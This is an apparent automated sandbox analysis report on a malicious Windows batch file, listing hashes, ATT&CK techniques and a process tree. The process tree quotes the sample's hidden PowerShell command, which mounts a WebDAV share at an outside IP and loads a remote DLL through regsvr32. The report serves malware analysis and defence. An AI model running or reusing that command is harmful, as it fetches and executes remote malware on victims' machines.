ecbe759864a075f66b2418b237eb5508154fc52b8ef901ff217da033f99fff4e

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
19/07/2024, 06:34

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General

Target

28052244711218822100.bat
Size

2KB
MD5

925a7d00340e37021037401f6c454a17
SHA1

36166858be5897f4b13fd4c5592d6ae7cd5dd05c
SHA256

ecbe759864a075f66b2418b237eb5508154fc52b8ef901ff217da033f99fff4e
SHA512

c1a74ca852cb25c0bd2ef208b63f23387e3502a6b66c0614968ab2226bba922a41457c81b18660cb2d9396fff5c3ccdb9335ccd7726dc8522628b1b568db4674

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2804	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2804	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2804	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2120	wordpad.exe
2120	wordpad.exe
2120	wordpad.exe
2120	wordpad.exe
2120	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2704 wrote to memory of 2120	2704	cmd.exe	32
PID 2704 wrote to memory of 2120	2704	cmd.exe	32
PID 2704 wrote to memory of 2120	2704	cmd.exe	32
PID 2704 wrote to memory of 2804	2704	cmd.exe	33
PID 2704 wrote to memory of 2804	2704	cmd.exe	33
PID 2704 wrote to memory of 2804	2704	cmd.exe	33
PID 2804 wrote to memory of 2580	2804	powershell.exe	35
PID 2804 wrote to memory of 2580	2804	powershell.exe	35
PID 2804 wrote to memory of 2580	2804	powershell.exe	35
PID 2804 wrote to memory of 2636	2804	powershell.exe	36
PID 2804 wrote to memory of 2636	2804	powershell.exe	36
PID 2804 wrote to memory of 2636	2804	powershell.exe	36
PID 2804 wrote to memory of 2636	2804	powershell.exe	36
PID 2804 wrote to memory of 2636	2804	powershell.exe	36

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\28052244711218822100.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2704
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2120
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\25395164128262.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2804
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2580
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\25395164128262.dll
    3⤵
    PID:2636

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2804-21-0x000000001B690000-0x000000001B972000-memory.dmp

Filesize
2.9MB

Download
memory/2804-22-0x0000000001F80000-0x0000000001F88000-memory.dmp

Filesize
32KB

Download